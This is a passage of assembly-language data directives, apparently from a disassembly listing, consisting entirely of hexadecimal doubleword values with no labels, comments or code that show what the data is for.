99A8004Ch, 5C9BE06Eh, 3B4739h dd 90E11644h, 0F665CCE3h, 0D6F33CE4h, 7837C16h, 5018814Bh dd 6A108F5Dh, 959B8800h, 32BE94F2h, 0C8DF00C3h, 54A3B8D3h dd 7D7C8464h, 0ACE8690Fh, 0B43E8075h, 74634C8Ch, 975C50E5h dd 50A30320h, 30DA9558h, 7F6EDC8h, 976C3F00h, 2747AC5Bh dd 321E0718h, 5EA14874h, 8A6267C0h, 0B1F8AB9Ch, 5B42500h dd 69F4BD27h, 2F0F00BCh, 11EF369Fh, 0D001CF84h, 0C53F1001h dd 0FCC8395Ah, 0E55E0053h, 33A5D19Eh, 780041D2h, 0ADCA1DDDh dd 6B8F79h, 0A27B04BCh, 0EE77EDB5h, 0C5478A00h, 0FA942C88h dd 134A036Dh, 1966181Eh, 0CB9FEEC0h, 400B4F0h, 609314D9h dd 3CA231D6h, 0C680AAABh, 91320956h, 0C289ACEh, 0C8009C9Eh dd 0AA431D18h, 1904EF0h, 3ABFD837h, 0EC7C24C5h, 0A600EC5Bh dd 0DC254DB3h, 0C144A8h, 0E0B8A309h, 795D2BAEh, 28ACBB5Ch dd 0F500F41Ah, 0FBA9D8ECh, 0F76F3h, 3B4F3D5Eh, 0FAF2A75Ch dd 50CD6F00h, 1F0BDFB2h, 5B9800D9h, 0DEE60C34h, 35008F58h dd 84CD68A0h, 4CAB9499h, 1601C2FFh, 8C02C069h, 2742F0A2h dd 0C497AC00h, 3EE3F91Fh, 0C3EC0005h, 0E9E79C23h, 20009365h dd 7D343851h, 0C98704h, 0CF7BE2A9h, 0E78289D5h, 5962C500h dd 0A32BE4FDh, 0EDB80030h, 55F3F573h, 1407A2B1h, 0A47A5CBCh dd 3037B557h, 0DF1646A0h, 0B03B0929h, 0BC80A325h, 3C7DA8A1h dd 0F8BBC000h, 84E1AA0Ch, 0FDEA3A76h, 8F125700h, 8CD1DCC9h dd 26D4D802h, 0E0C0E021h, 166AE670h, 0F5FCE46h, 0D7E11BC9h dd 0C15375C9h, 0C458E064h, 0AFA67F3Eh, 0BE2AE0F3h, 385200C2h dd 0BC762E36h, 0EA00FA7Ah, 0A23ABDD3h, 988AF4A6h, 0ABF00073h dd 9279CADFh, 0A000639Bh, 13782D2Fh, 3D2FD0Ah, 772087E6h dd 0CBF29D81h, 41AFC0DDh, 3D5B00A7h, 861EA450h, 3707C433h dd 0AB2F9820h, 0B8DDDEA0h, 9AD5001Fh, 4A856462h, 0FB0382B7h dd 0E8840E81h, 247080A2h, 7B02485Eh, 55D39B00h, 3404076Eh dd 0F3674100h, 76BB89CAh, 827A2F80h, 632499E0h, 0D96CF600h dd 944650B1h, 36BB000Ah, 0B4822369h, 2929E6EFh, 5F00BC0Bh dd 0BE469681h, 0D95D26FDh, 487A4054h, 9007405h, 0F09C75C0h dd 69C813h, 28E6556Bh, 0B3018A0Ah, 80D81C3Dh, 0DA2C9E2Fh dd 9CCA9Dh, 45D353F4h, 6A2E9C7h, 9F9B6B00h, 0CAC267EAh dd 48C0F8F0h, 0DD001B3Ch, 0C616E852h, 7700C412h, 6C3B8CB8h dd 91BFA7h, 39ED772h, 0A02949C3h, 112ED000h, 0C437C5B1h dd 19E4BAh, 2C750E6Dh, 0EF5D7B3Ch, 57344800h, 46EF13Eh dd 10544CC0h, 0CB39AC05h, 0B44808Dh, 0F601BE69h, 0A934B09Ah dd 5C708720h, 0C4AF042Fh, 90062EC0h, 9DEDB300h, 1B90FC00h dd 0B3764DDh, 0FACF04C3h, 0C5284E43h, 0EBA780F0h, 0BF01F0D4h dd 2B5710B8h, 0FED4061Ch, 0C70C3D96h, 8B00D9ACh, 0B28024C3h dd 0A69C7BA1h, 19D67F00h, 0A7FF93E6h, 0F6CD75B5h, 511100B7h dd 0A1E13302h, 17005367h, 4BA9D66Eh, 22757Bh, 0F4558CDBh dd 0D22BD0E2h, 0BE8A6513h, 21BDD102h, 67C04131h, 7EDF0760h dd 0C28B3CC3h, 7A0F7900h, 0F20CC81Bh, 2233F03h, 0B8491DACh dd 937230h, 785E13CFh, 0B98B328Fh, 3CE85500h, 878581B1h dd 693B60CDh, 1C64C7A6h, 0B712CF00h, 617CDC4Dh, 5C9A2Dh dd 1B24BBE9h, 38ED0B9Fh, 7FBC3500h, 15CD7078h, 38E0080h dd 2C366997h, 3A0084C7h, 0BB3D3D7h, 2E0E4179h, 1875B82Fh dd 0A22BF1F3h, 2486AA00h, 7C139DA9h, 584A4899h, 3C95531Fh dd 0D43E8CD9h, 9175DE00h, 0B305C2E7h, 94CB250Ch, 8922112h dd 0F2DA881Dh, 0FE2BCC00h, 0C5ACFD9h, 0FC561105h, 1230D728h dd 58FD301Eh, 1BF63952h, 8FE9A283h, 187BDEA7h, 0E803027Ch dd 0E3C4D7C3h, 0B45EA8C5h, 3FA503F5h, 0B3929A8Ah, 0CF85A000h dd 56CBFE33h, 0A6610448h, 90D2E979h, 0AA8B9AB8h, 9712F500h dd 9305B957h, 0CF11C098h, 7E330F2Ch, 9D924802h, 8AC47C34h dd 120CFD7Ch, 3A1B8858h, 675B2FCh, 3AD4B152h, 9A28C161h dd 0DD306CC9h, 0F62CF8BAh, 0BEE20080h, 0AA906176h, 0C00CF3Dh dd 0B8E18E96h, 0A1CC9Ch, 5E12B0EDh, 0AF8B3748h, 417B7C0Eh dd 75EBE0BFh, 211E4Ah, 0C528369Bh, 0DE5C42D1h, 0DB868200h dd 0D743B8FDh, 1D8D010Fh, 3D52EBC2h, 0E3E5D86Bh, 0A34DDE03h dd 0E8EA25F4h, 1DCE7F72h, 0A7359h, 9B0FCC54h, 8800B6B5h dd 13BBE353h, 446BAC5Ah, 9B052542h, 99DA54Fh, 16C4A806h dd 0B8185408h, 20D3E45h, 0D370DE80h, 3F589CEh, 9E333498h dd 0FC6CC7h, 0FF5B3210h, 0DCB1DAE5h, 0EF00527Ch, 0AD88D7D6h dd 0A4EEA816h, 0F4DE009Ch, 3BCFA7C4h, 56904AE7h, 217008DDh dd 0C4891Dh, 0FFFE394Bh, 0EE1A31B9h, 7D9A880Eh, 464F87F6h dd 5CA0C246h, 141FE49Dh, 33D0B087h, 770096BCh, 13FFC252h dd 0E8F60A9Ah, 10924Ch, 0CC899744h, 2C038C50h, 0BD912200h dd 58B63256h, 0D6B200EBh, 2DB8E536h, 0D209C7C8h, 802EC2C6h dd 3CE24D44h, 0FE2503D9h, 0E4DE3F43h, 0DC56D6E0h, 47F82F00h dd 5F9B0C23h, 0A408CCBBh, 951DD648h, 27002F71h, 24CE6256h dd 2B0F0789h, 0D2B87B39h, 3600F9DEh, 0E4DC1805h, 3B040681h dd 8AC63D7h, 4021456Eh, 0C70EDC43h, 0D43C0333h, 74667591h dd 0D264B801h, 0CF5682FDh, 0B08363C0h, 0B86500EFh, 27C62DBBh dd 7B00919Eh, 0E3D3CE10h, 3CC1D134h, 0E100B747h, 21F51328h dd 0E9006E4Dh, 0F8030E63h, 2E23722h, 0AD7AE43Ah, 0CA40A1B5h dd 4B00ECACh, 0A60F6C8Bh, 0E5DC67h, 0E440091Fh, 0A825B803h dd 0C75A0B00h, 0A614B0CCh, 0E3725C46h, 0E7172203h, 0F0CF1FE2h dd 56665485h, 2787061Eh, 0E8BF3600h, 0E52F7Fh, 0C3730B8Eh dd 0F15C6FFCh, 651ED0F8h, 1EDD1663h, 55033000h, 0EF36D4Eh dd 2FA4D3Bh, 7E5B4180h, 7BE0014Fh, 4E1EC500h, 145235D6h dd 54D106E6h, 10209DB5h, 0F5049C54h, 28258631h, 7A70C6CCh dd 9DE3003Ah, 5895133Ch, 731FD98Ah, 7580F52Fh, 87CC41F2h dd 28406230h, 0C3213781h, 8A0272FFh, 88337F10h, 9A883BC5h dd 1653080Eh, 314256F5h, 212922AFh, 10D30A23h, 1E775279h dd 86405488h, 0B93371DFh, 0F4FB0050h, 3F2453DEh, 0CF7B19AFh dd 51226D00h, 43853025h, 18F306C8h, 0F4FDD55Ah, 0F96E7D00h dd 6DB70D0Bh, 880C0082h, 0B1715FFCh, 6A006026h, 2C1C5303h dd 18DFB02h, 0AC519CDBh, 308F5254h, 1A00E440h, 5A157C0Dh dd 31CB94h, 6692AE1Ch, 0BA9CD111h, 7FF7C003h, 70D43A0Eh dd 0CF7F96h, 3E5E86Ch, 98A6474Fh, 0D722BA01h, 0C8D1EA57h dd 878DC850h, 4B130034h, 3F2B21AFh, 0F47BFF60h, 0E000C47Ch dd 0FA6D063Ah, 3F9EED7h, 0D392DD0Ah, 0CA976A0h, 77A7F451h dd 1501ED5Ch, 0F47C45h, 0E9D17199h, 3449EB6h, 11CA7983h dd 5AE887B4h, 8B00F47Ah, 4C2F29A8h, 6B036Ch, 90CE0201h dd 0A2CB2D54h, 307F580Bh, 80EF427Eh, 6421B972h, 8A55000Fh dd 4A8D869Dh, 2F04D2D9h, 14B1E86Ah, 502014C7h, 1EB06F3h dd 185BBDACh, 8E262F86h, 0E101B8D8h, 0EC628459h, 0C630E8h dd 85BF50A5h, 82C488E5h, 0BB93D500h, 0B6104BB5h, 0E4FD3D2Bh dd 0DCFBFE00h, 0F4145BBCh dd 5EB80700h, 0F7E1ACC1h, 9E9724D1h, 57C000A4h, 0CB0ED4BAh dd 6A922400h, 16DCB8AFh, 102A6080h, 0E42E0D97h, 4F03DF7Bh dd 3FEFD507h, 0FAAF83B1h, 32904089h, 1B67764h, 0A24D3D1Ah dd 0F1CAB3CDh, 3378E8F3h, 0B9819500h, 0EAC8834Ch, 2DC50082h dd 9C8E415Ah, 0D338337Ch, 58558BA4h, 46901A9h, 0DDC86E28h dd 0F860079Ah, 632F593Eh, 0EBF020F4h, 0C71DEC50h, 0B2C099F5h dd 0B559DC6Eh, 219760C0h, 3FB7BA83h, 0C4D1AC00h, 346C42B2h dd 0C98800CEh, 51CCEF39h, 0D90232DAh, 0F2EE33D6h, 0A65840ADh dd 0A27670h, 0D45D9005h, 7D43DAD5h, 7CCC1E01h, 175481F4h dd 0F1A1820h, 9D67FDF1h, 0C0C15AA5h, 1B382D35h, 68C03F00h dd 60565E1h, 0C8FD004Dh, 69A555FAh, 0E7004EBCh, 528517D0h dd 86A43Bh, 53B4D779h, 2A250DFBh, 1375EA1Dh, 0F27873C2h dd 0F07FC097h, 146D3DEEh, 0DBEA3E03h, 0E5C05881h, 5B00A0FFh dd 67D860B8h, 33970Ah, 0F02E68CEh, 8B36862Ah, 0FC759000h dd 96AF7458h, 945F02DEh, 287B2991h, 0DCF06860h, 0E72BD91Ch dd 0B8A19BC0h, 4B9CC4h, 9711AADBh, 741477E1h, 6DBF8A05h dd 1180100Ah, 0B213B1h, 2EA8F5DDh, 22C1B365h, 0D5A4D904h dd 18C10FA2h, 8EF8F9B7h, 0E011EC1Fh, 0F44C0036h, 8A2C2B2Dh dd 1B00EB07h, 76906557h, 1592F9h, 78E19C73h, 63ACDCBBh dd 28871734h, 959035C0h, 0E8FE6F3h, 984BB7ECh, 70FCC5AAh dd 6E00FE6Ch, 0FC055B72h, 50FF418h, 5C94073Dh, 0E8B400F9h dd 0BA4FA806h, 0D4882000h, 0AE42DE78h, 0F438517Bh, 805DC3C4h dd 0CE799417h, 34A84400h, 69525F51h, 0C43F39CAh, 0A243E400h dd 9955C795h, 0BC2E8700h, 3450926Ch, 75E8796Eh, 567B00F5h dd 96D36D8Fh, 0FC24B060h, 2200952Ah, 4FE3F29h, 0EC9504C4h dd 0C0B67343h, 0AEC20388h, 0B3DA1500h, 0A1D633Ch, 1458980Ch dd 0DC6E2F8Bh, 44D32Ah, 1F826FE7h, 84F179A6h, 8D709F60h dd 0A157CDh, 0FC18FFB3h, 0A4196B3Fh, 0B49DC300h, 0EE73402Ah dd 41B61F9Ch, 9125C73Bh, 846FF00Ah, 6A12652Ch, 0F0005C23h dd 6C55CD0Bh, 0CF181F94h, 0A4101480h, 83811207h, 1F475044h dd 8907C239h, 66EE054Dh, 30CB2C60h, 3AE40041h, 0D7BFF8AEh dd 0D6002351h, 0EE11F131h, 0E0FA21h, 8BE34A8Ch, 840135E5h dd 2AD2BF00h, 0AEF8A36Dh, 0FA450016h, 0DB2CD2Dh, 250092ECh dd 0D9037FBAh, 1408F6h, 75693B17h, 0AFF5CECBh, 46730400h dd 8090E20h, 1431035Fh, 34DE6AC9h, 6DF08EA8h, 0EA930F07h dd 0DFB0E3FFh, 1743A4h, 0AB76711h, 3805D165h, 101AD400h dd 0D0AB4D01h, 0E83B4880h, 40EB8401h, 0F19AD709h, 0CC8DCE7h dd 0EFB5F700h, 9C8CA722h, 6EDA0E54h, 66606008h, 9449D99Bh dd 97DD2600h, 8693AFA8h, 0D60600FCh, 64AE70BEh, 0E70EA41Fh dd 0DF243DA5h, 31ACCE40h, 566A7h, 231EADEDh, 378FBC5Fh dd 0A22E4E00h, 86DD276Dh, 0FF1A162Bh, 0C4B44013h, 0CBE399Ah dd 247E141Dh, 84645880h, 7447276Eh, 0F9180F85h, 4078F73Dh dd 0AD987B45h, 8057A93Dh, 0AFBEEA14h, 75C817h, 0A1430DD4h dd 7985D750h, 0F310080Fh, 8DA5074Ch, 32E467D0h, 17A30018h dd 0DD21595Dh, 0C03D4B1h, 268FF2A9h, 6BC18707h, 8330D5C9h dd 0B2B10088h, 0E5AB9689h, 55008705h, 1ADF9954h, 48D471h dd 5045C0ACh, 0BCC84F78h, 28645D0Eh, 0CA20F92Dh, 901D530h dd 535B59BBh, 7A14DE80h, 60BF632Ah, 0F5D335h, 9A6B7CCh dd 0AD6A9CE1h, 550A800h, 2F3DC530h, 0F89B5878h, 16ECA11h dd 9FB91287h, 63CA6D8Ch, 0A557D038h, 0DDD400ADh, 1E2949D2h dd 0FC00BEA7h, 0B4C062E5h, 7ECA70A3h, 0A259007Ah, 2F93696Ah dd 4000BA6Dh, 9BB7EAEh, 2447E779h, 7201AFDh, 907565E0h dd 5948926Dh, 305E0A00h, 0D3AFA51Bh, 34947Bh, 80AE1F8Bh dd 0BFC23F2h, 960094E0h, 8AF8CECh, 0E2D9A7Bh, 70FDA8DDh dd 0C6EF420h, 0F6FA1661h, 0A4605E00h, 0FD1258BEh, 3F190035h dd 8FA72CA9h, 0BB0F9E30h, 2E56D9h, 7C2A5D24h, 0B6E4005Fh dd 7E22F60Ch, 4B008F95h, 98F8FAE9h, 24799h, 913C186Bh dd 5CA0837Fh, 4C170C90h, 0BC002610h, 3DD5575Fh, 0B665397Dh dd 0D6A08080h, 34DC0B9Fh, 3126B701h, 0F86F2069h, 38CAF0h dd 0A51C812Ah, 0C3FE411Fh, 0A358AE00h, 8E970FDEh, 4B6E004Eh dd 50E72C25h, 0D560B281h, 0A507D14Eh, 587177h, 9112E621h dd 3A56C01Bh, 54FE0C0Fh, 574800C9h, 229A89h, 881058D2h dd 8D734215h, 0C971C703h, 0E0E47C1Ch, 589AEEh, 6EA6E870h dd 9C6F17ADh, 480043FEh, 0A7CA3521h, 48E869C4h, 770BFA86h dd 0F28E3328h, 0D4F64940h, 0FD00596Ch, 4B6DE91Fh, 0A089FEEAh dd 0B12EB2h, 0E8293693h, 6984F91Ch, 0A695B516h, 0A900541Fh dd 5AB33D28h, 0C808001Ah, 0B65E470h, 1D001387h, 0CC8BFA26h dd 46F29h, 649852FBh, 40D07115h, 2C00F2B8h, 9C2B73DCh dd 2355E1Fh, 0F31C8FC1h, 8AE07FB8h, 54B017AEh, 77989B0Ch dd 14F029h, 20D35E92h, 0CA08B2E6h, 0DD2FB800h, 0A545C90Bh dd 7950C074h, 3F222359h, 70194C00h, 5E786236h, 0BF860024h dd 99728556h, 8403D00Eh, 77D74BC2h, 71FFF0BAh, 2D2200F4h dd 0BFAFE546h, 1D1CE79Eh, 0CBC021D3h, 33827D56h, 260800D1h dd 0C2DDDF1Ah, 97B89E9h, 0B56C3Eh, 0F4513CD5h, 714F637h dd 0BA3B5F12h, 0A9D4C0BCh, 0B00042C4h, 249269B7h, 4C75CA1Ah dd 34309FC8h, 0F4D96050h, 8083993Ch, 7CA478CCh, 82F65Eh dd 64A6470Eh, 3E95237Dh, 0E8CFBD50h, 0FB90EC07h, 8A304ECFh dd 28D9A4h, 87E6EEAEh, 961E52F8h, 0A05F6600h, 7997F06Eh dd 99050901h, 34004946h, 0A252C52Fh, 0A598A538h, 0AFF41Ch dd 0C777598Eh, 0A705CEACh, 0C3167BF2h, 804CAF09h, 5B7F787Ch dd 0A077E063h, 79EC93B5h, 21010040h, 0F807DBB5h, 76008F58h dd 7D41254Ah, 0E575A6h, 7080EECDh, 0A47E6C56h, 353C1500h dd 0C8616DC0h, 0EFFB0033h, 0DECC3E82h, 860018FEh, 6A4D76E5h dd 0FD06595h, 96A2A989h, 432A3E82h, 0EB280440h, 72A01D48h dd 8935BF0Eh, 4CDBC158h, 0FAC05282h, 3E660006h, 5C5724A4h dd 0EF00A326h, 16DFEEBBh, 59D8E1h, 0AB85A517h, 0D7660A1Ah dd 391EA400h, 7351CAD2h, 0A41B60D4h, 7F8C15CEh, 0BC670213h dd 69B46901h, 0E5F8FC5Dh, 13225C89h, 68D91707h, 18BA0C1h dd 0F612B0FEh, 0FF0079A0h, 45F9929h, 3C56002Ah, 8257325Ch dd 0B819C967h, 28C9DFF0h, 75037B08h, 79CF9AABh, 4617E8Bh dd 0BAD0CA94h, 0F77890DFh, 91EC286Bh, 8FC85305h, 0F880F38Ch dd 1EE045Ah, 4B25D975h, 0F516F040h, 0B8D1D85Fh, 7109B432h dd 891C004Ch, 873C649Eh, 0D2528341h, 0C0C5C924h, 0E571ABCh dd 995EB9D3h, 7D7703E0h, 50012296h, 9CD92F30h, 28202D9Dh dd 0DF5400B8h, 6E64E9BAh, 5A005C69h, 3C2396E2h, 0F36A266h dd 982FC4AEh, 0A04C8EC7h, 0DE1AE5EBh, 5AE30507h, 3DC03CBAh dd 0B85551ADh, 43AC5C4Eh, 3DCBB84Eh, 7731009Ah, 4DB434D1h dd 12921FC2h, 0E9C740DCh, 94F86207h, 0FC66ED05h, 0DC00CAB3h dd 0F288D7BBh, 747D0330h, 0F19380FAh, 8EAE40CFh, 910363FDh dd 31C628D8h, 8911000Eh, 0F5A8D6C4h, 30FA82FAh, 54F3A700h dd 17D7FD48h, 0DDB71824h, 0CE5260A0h, 6B715B00h, 0E5015E4Bh dd 4337264Fh, 0A1330088h, 19D9E03Fh, 0F2C5B200h, 0D662FFC6h dd 917F0090h, 0B3B7BF3h dd 2E0E1D0Eh, 0E0F5432Bh, 0E68ACE36h, 0EE5D7095h, 4B730327h dd 0CD2AE8A9h, 0F940CC00h, 0B5F56555h, 0E8E24C82h, 9880E63Fh dd 0A77707BDh, 0D1F46609h, 6492F500h, 0CCFDE353h, 0C88000A1h dd 28377E4Eh, 0B4740DA5h, 4048F600h, 0CCC39111h, 38190099h dd 9638F30h, 0E0136B47h, 1800FCF8h, 0EEFE104Fh, 0BC0D009Ch dd 0C7F10ED3h, 60131918h, 980F03B5h, 2D40FE86h, 8B256F77h dd 3F330036h, 58BD01C2h, 8100C004h, 0ECD8183Eh, 0DD97B1h dd 9DC6C31Dh, 123F0D40h, 695B300h, 0B82AEADBh, 7C214831h dd 0F3B22000h, 77CE40DAh, 924E1103h, 0F8B3DD03h, 939D868h dd 21F80A4Ch, 0A69EFC80h, 7203C37Fh, 3009A489h, 75490060h dd 0C92A3A5Dh, 9D1E07F7h, 1792D6F3h, 0C2A30C00h, 39B64B08h dd 3B867743h, 381E135Bh, 0E3229F00h, 4256ADC9h, 127994h dd 9073C602h, 0F3961F64h, 35994704h, 548084F1h, 10E3BCFEh dd 9114E5h, 6C48FA67h, 0F9AAEB1h, 0BA83AF38h, 0B9B2BDE0h dd 600C956h, 5A488A71h, 0FD1C7DDh, 0AFF73768h, 6990F1A0h dd 0A200D04Ch, 0EE1599E5h, 138BE7h, 0C90DA7F5h, 19522D8Dh dd 421F8900h, 0DA70C032h, 0D375001Dh, 48CFFCC3h, 4F00DCCEh dd 0A51EE1FDh, 0F28639h, 6C01CCDAh, 0A4B07F1h, 91603Fh dd 0E9D7EF7Eh, 4084F4h, 2E5F8176h, 42C1393Ch, 681A4103h dd 0B7884883h, 13B2B320h, 0C0263393h, 0E6D811C8h, 2E00F184h dd 6A8BB5B4h, 3BC3CA4Ch, 3980D161h, 2BCCFB29h, 5C2E48C5h dd 0C0009D08h, 0A464FA4Ch, 0E4C8009Eh, 9D9AA112h, 1A7DBE85h dd 2E24C500h, 0F3877584h, 0CD860190h, 0B006D2C2h, 0B885F828h dd 5A9F18C0h, 439E31h, 0A91583F9h, 2AAC4F0Fh, 2C57AE00h dd 0B428522Bh, 0BCEC009Eh, 0F2546368h, 73987F53h, 0D700377Fh dd 886F64D6h, 1367FA3Eh, 45F5CCh, 0C60956F4h, 157470BDh dd 22BE4100h, 0B31D380Fh, 0E4E70002h, 2B17B5DDh, 9209317Bh dd 0A0A07467h, 0CFADBAB4h, 0C73900EAh, 26663602h, 5500FD3Dh dd 49CC6A5Dh, 11EFBAh, 539C6765h, 880D6C07h, 0C748B00h dd 3FFB725Dh, 124EF650h, 1C130BC7h, 0DD6801F1h, 0D4D8842Fh dd 0FA0078BDh, 0E2FD9A4Ah, 0F0CC69F6h, 0C07F03h, 7062D5DAh dd 30F95993h, 0F1D7DE1Fh, 67C9FD83h, 0D073E942h, 13F8E4D0h dd 28D5E59Dh, 0AC09479Ch, 8F200Ch, 0EFFEA370h, 0B550054Dh dd 801BBA01h, 86925958h, 54F220C3h, 0DCA1AFFCh, 44204B27h dd 0EDEE16h, 6429AF09h, 3D9D2D36h, 17468100h, 129548ABh dd 243C49C9h, 0BC96F300h, 57A95807h, 0E97CDF70h, 1D3C403Bh dd 63801D34h, 0B3046EEFh, 7C7B8CEh, 39546FD4h, 803E8489h dd 77FF0EDCh, 69296300h, 6053BD4Eh, 90EA0006h, 88655DF5h dd 0D00BBC7h, 0FB9C3C9Ah, 7F4203h, 0A68D4332h, 6C4EA1B8h dd 0D1F35D00h, 0CFA9C112h, 0CF4DCh, 6B64DFADh, 74DA3178h dd 1D07E41Dh, 0FF348280h, 0B5C8EF5h, 62E058C6h, 279D5100h dd 0E803845Eh, 43F635C2h, 0F8A29BEAh, 6EE5D1h, 3AE91471h dd 0DCF4B4EBh, 95D8F000h, 452A5B1Bh, 0CEA00B2h, 5E8330DAh dd 6C00A8FAh, 2B8EAF35h, 4EBCD9h, 677D01E8h, 40765DB5h dd 63C89000h, 0CF34A6Eh, 0A71D0FA4h, 0EA82EEDCh, 9E82D81Fh dd 5FC09AD9h, 7074019h, 42D1931Ah, 4466A5F0h, 0CE2400EBh dd 0AC559599h, 3D0080A7h, 5EF06CAh, 733AC693h, 45090154h dd 0CCE738C4h, 0D08FE529h, 7E3AAECBh, 843D001Dh, 7625E2A6h dd 375700C8h, 0E92389CAh, 0D01699Ah, 4AD4B9DDh, 0CD47408Fh dd 19B692C0h, 0EF9C5C74h, 0E1775900h, 5C21EB53h, 0F78E2700h dd 0A53DF390h, 83053B1Dh, 250DC604h, 20AC80D4h, 0A600CBE0h dd 0B9DE7FE4h, 3C90A4h, 0FE6834D2h, 0B40AE165h, 838CBA00h dd 8F35753Fh, 1C360374h, 42C2BDC5h, 150B66B8h, 0FD024300h dd 29FF414Eh, 0FB034C79h, 46B3EC01h, 0D8C0A49Dh, 0BE00DF1Ah dd 1EF9D84Eh, 7DA7180Bh, 2BC00E5h, 0DB4D2B1Fh, 1600E15Ah dd 1CF23E2Ch, 0CD27EBh, 5CA0A56Ch, 787CEF09h, 0E80041E0h dd 593E7F2Dh, 0BD14A8Fh, 859B616Ah, 97AA1B80h, 77009C51h dd 52F39F8Ch, 9007E59Ah, 54BC3AA8h, 172B4180h, 58BB13A5h dd 2ABAD800h, 0F85D4561h, 0BD752Eh, 3C34192Ch, 1E62AE9Bh dd 0C30070DFh, 26A45475h, 87C13FD4h, 11C5D106h, 9A3E201Fh dd 3C9B004Eh, 0E4947A78h, 135777F0h, 0FEBE7D51h, 8925B301h dd 2AF88E96h, 0EEA512E1h, 5D4840BAh, 0B7D1D288h, 0C7AE70Eh dd 15B10019h, 0CC0190h, 0B99257Ch, 0E6351D2Fh, 0DB1A7D14h dd 0A6488120h, 21CC1F7Eh, 0CF150A4h, 603E50AEh, 1986099Fh dd 0BE80DDD9h, 8F41E2BAh, 986D8500h, 618A2738h, 247002AEh dd 6EBC7A2Fh, 0E08239E0h, 342C9100h, 604D0E80h, 20A20014h dd 980BC61Ah, 0A100F061h, 41BC1E7Eh, 3B146AFh, 0AECA3CEEh dd 1CB85B20h, 1E98420Eh, 3AB50613h, 0FECD0FFAh, 0CB2B9100h dd 42DE63A8h, 0FB6D780h, 65BE04h, 9D90419Ah, 46DDA345h dd 0B190ABE2h, 0C0090A00h, 80A9CB3Eh, 430B009Bh, 68EE857Eh dd 639DC34h, 0C2A48023h, 811EB716h, 0EBB60B5Bh, 0AB80438Bh dd 0AE8D108Ah, 2C90B850h, 2F1A1E01h, 84B148F4h, 8B54ECh dd 163CE778h, 4D7AE1DBh, 3E2E83Ah, 0F6F96ADEh, 8E7DC067h dd 869B007Eh, 3CE5AF0Ch, 0BB1FD9A1h, 4E924D01h, 51FE241Ch dd 468A1BCh, 0D6BA78D7h, 66101665h, 1B520C80h, 0A706008Dh dd 0E6C5F3CBh, 3309DF93h, 9642BAh, 898E6672h, 0AA28C451h dd 2E9042A5h, 214604DAh, 5194FCC0h, 71814AEh, 9BAA5189h dd 88B65788h, 0C840F572h, 298A62CFh, 412298EEh, 0F3962299h dd 24A69A22h, 0B2512192h, 11F4FA11h, 0A1902F35h, 0B5108616h dd 787E5029h, 29DE6448h, 0E804237Ah, 208D2471h, 0D000A682h dd 0B919DDA1h, 272EEh, 883590ADh, 4D5EE651h, 8AA438h, 0C32C29CAh dd 4E44AEh, 383F4C4h, 0E822BE8Bh, 0AD904F00h, 713B596Ah dd 289D0093h, 4ED1107Dh, 5800771Fh, 0B6F973B0h, 22264Bh dd 8D07E6FCh, 7F28A8DEh, 310085B0h, 0C08F51EBh, 14E740h dd 7EBC5058h, 3D7863F5h, 0E553DA00h, 9756A9CEh, 720E00FDh dd 2FFB6D12h, 23009203h, 690F2170h, 0F00265B7h, 0FFE01D19h dd 3EEBC09Bh, 0A2582ABEh, 82AB8D09h, 6A1C236Dh, 4B3BB8B7h dd 34E800F6h, 0F804D7BAh, 5A004915h, 0D30CEF81h, 1F8FB5CAh dd 837B6505h, 995A23Bh, 1E518180h, 0B5008CE4h, 0F950B848h dd 4D2EC0h, 0A29775Bh, 0E088EE9h, 0CAF0EE00h, 4F7D2790h dd 0E1A03E89h, 0C55B7C02h, 0B06818FDh, 0C019D19h, 0DC8367C3h dd 0C140A1CFh, 5219E0Ah, 39783754h, 0F56EC348h, 0DF5FEBE9h dd 1F3ABB98h, 0DCB49D03h, 0AF6C3E4Ah, 0BCF7C730h, 0C69B00CAh dd 25BD0372h, 3203F935h, 0D273B5EBh, 9ED1C843h, 0B78600CDh dd 11583851h, 9400442Eh, 131E5BBCh, 7CD369B3h, 0C476006Bh dd 448FB9D4h, 382EFE0Fh, 19006883h, 0D3CDABC0h, 6CE50039h dd 9447539Fh, 0FA1FB11Dh, 6B838FEEh, 0F7757D25h, 0D08683h dd 5BA47411h, 0D4043A27h, 87AFE438h, 0D9D21E63h, 0FEEB7710h dd 0FCAC00A8h, 655DD1Ch, 9D031DCDh, 5F324080h, 6B34E0E7h dd 0FA8F005Eh, 84DF24F7h, 0EE00CF27h, 2686DD8Eh, 1C55AABFh dd 85F172A7h, 296D7Eh, 0A0CBDEFCh, 0CC017333h, 0DB2A4FC3h dd 0A4702BA8h, 8722Dh, 18FE6622h, 0FC5BC68h, 6780D60Fh dd 0D409C061h dd 0CE8CCBh, 648FE9C6h, 65C08DC3h, 230083EAh, 2B9D1A95h dd 3979ACCFh, 888716FEh, 0F09AFCA4h, 0C9F6CC80h, 7C007AFAh dd 5C43B99h, 213D82Fh, 73D657E3h, 0BCC0DE85h, 4C3CA241h dd 1682809Ch, 54474E9Dh, 63AD000Dh, 40CFAA37h, 1500A102h dd 0D510E868h, 501AE0CEh, 992B04Dh, 4F8E7EB2h, 8AB85000h dd 2B49ED55h, 982E0058h, 8721966Bh, 0CCF809FFh, 0A4804CF7h dd 778BA0C5h, 0D2818800h, 0E05111C7h, 34E90033h, 1E373C78h dd 4601C8D7h, 211A3ED6h, 4CD80D9Ah, 47C00E7h, 0E9D02B11h dd 0AF0122DEh, 79180690h, 63F881ECh, 32BB0086h, 3744F6B2h dd 72043FACh, 2061799Ch, 0D138BBE8h, 0B11E9201h, 7AE02B04h dd 79D70101h, 35F43E12h, 0D4A23BC1h, 0CE9B0070h, 3B979F4Eh dd 84784085h, 0E59DF39h, 0C0B9ECEEh, 12E7DF2h, 8207004Ch dd 6CFB47E7h, 1812C58Fh, 0BC40DA5Fh, 0A499683Bh, 70434C66h dd 61A03D00h, 0E103BFD7h, 5C78BE00h, 0BAC7945Eh, 0FE510002h dd 0DBCA8A49h, 6700F280h, 1836DF35h, 86E4B5h, 0E2B2D3DCh dd 81BDA11Eh, 0FAAAAD0Fh, 0EF05206Eh, 0ABB410h, 4BE9491Ch dd 1257E578h, 0F902A874h, 72A12EF4h, 0FB88603Dh, 0B4B70EB3h dd 3AE307D9h, 70F0CE98h, 0C2006F33h, 30E4F2EAh, 22744Ch dd 0BC764893h, 0A0B2108Fh, 8F8AB93Ch, 7A18D0Ch, 9A802264h dd 0BD715Eh, 30659D59h, 0EB2B7EC5h, 0DD2D4407h, 19505388h dd 38BE9952h, 0C70A77CAh, 7B13E39h, 9DF7238h, 80683204h dd 7EBED89Dh, 60005175h, 0A732E1DCh, 9E3ACFh, 0E4CB5076h dd 0B6132E16h, 3CECEA00h, 